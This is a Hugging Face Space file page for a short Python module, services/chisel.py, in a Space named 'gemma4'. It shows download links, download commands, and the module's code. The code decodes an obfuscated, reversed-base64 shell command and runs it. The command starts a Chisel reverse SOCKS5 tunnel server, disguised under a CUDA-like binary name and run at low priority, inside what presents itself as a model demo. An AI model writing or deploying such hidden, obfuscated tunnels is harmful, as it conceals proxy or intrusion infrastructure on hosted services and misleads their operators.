Spaces:
Paused
Paused
Download services/chisel.py from SamuelLance73/gemma4: direct link, hf CLI and curl.
- Browser
- Download file 415 Bytes
-
https://huggingface.co/spaces/SamuelLance73/gemma4/resolve/main/services/chisel.py
- Command line
-
hf download hf://spaces/SamuelLance73/gemma4/services/chisel.py
-
curl -L -o chisel.py https://huggingface.co/spaces/SamuelLance73/gemma4/resolve/main/services/chisel.py
415 Bytes
| import subprocess | |
| from.utils import decode_cmd | |
| def start(chisel_log,chisel_auth):B=chisel_auth;A=chisel_log;A.write(f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {B}\n");A.flush();C=decode_cmd('=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');D=f"{C}{B}'";subprocess.Popen(D,shell=True,stdout=A,stderr=subprocess.STDOUT) |